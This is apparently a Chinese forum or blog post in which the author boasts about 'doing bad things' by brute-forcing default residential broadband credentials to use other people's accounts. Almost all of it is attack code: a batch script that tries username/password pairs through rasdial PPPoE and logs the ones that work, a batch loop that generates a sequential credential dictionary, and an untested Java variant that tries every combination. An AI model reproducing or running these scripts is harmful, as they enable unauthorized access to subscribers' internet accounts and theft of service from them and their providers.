我这是小区宽带,最近老被封,所以临时写过扫描宽带帐号密码的东东,找几个能用的帐号上了,嘎嘎,干坏事呦。。
 
由于是扫默认用户名密码的所以就这么几句话了。
 
这个是批处理探测用户名密码的:
@echo off
for /f "tokens=1-2 delims= " %%a in (a.txt) do (
    rasdial PPPOE %%a %%b && echo.%%a %%b>>b.txt && rasdial PPPOE /disconnect
)
 
这个是字典:
set @a=1000000
:1
set /a @a=@a+1
echo a%@a% %@a%>>a.txt
goto 1
 
下面这个是JAVA的改良版
package test;
import java.io.*;
import java.util.*;
public class Test {
  public static void main(String[] args) {
    FileInputStream fis = null;
    FileOutputStream fos = null;
    BufferedReader br = null;
    PrintWriter pw = null;
    ArrayList names = new ArrayList();
    ArrayList pwds = new ArrayList();
    try {
      fis = new FileInputStream("c:\\a.txt");
      fos = new FileOutputStream("d:/b.txt", true);
      br = new BufferedReader(new InputStreamReader(fis));
      pw = new PrintWriter(fos, true);
      while(true) {
        String str = br.readLine();
        System.out.println(str);
        if(str == null) break;
        String[] s = str.split(" ");
        names.add(s[0]);
        pwds.add(s[1]);
      }
      for(int i = 0; i < names.size(); i++) {
        String name = (String)names.get(i);
        for(int j = 0; j < pwds.size(); j++) {
          String pwd = (String)pwds.get(j);
          Process pro = Runtime.getRuntime().exec("rasdial ADSL "+name+" "+pwd); //调用DOS命令
          int n = pro.waitFor();
          if(n == 0) {
            pw.write(name+":"+pwd);
            pw.println();
          }
            
        }
      }
    } catch (Exception e) {
      // TODO Auto-generated catch block
      e.printStackTrace();
    } finally {
      try {
        if(fis != null) fis.close();
        if(fos != null) fos.close();
        if(br != null) br.close();
        if(pw != null) pw.close();
      } catch (IOException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
      }
    }
  }
}
代码未测试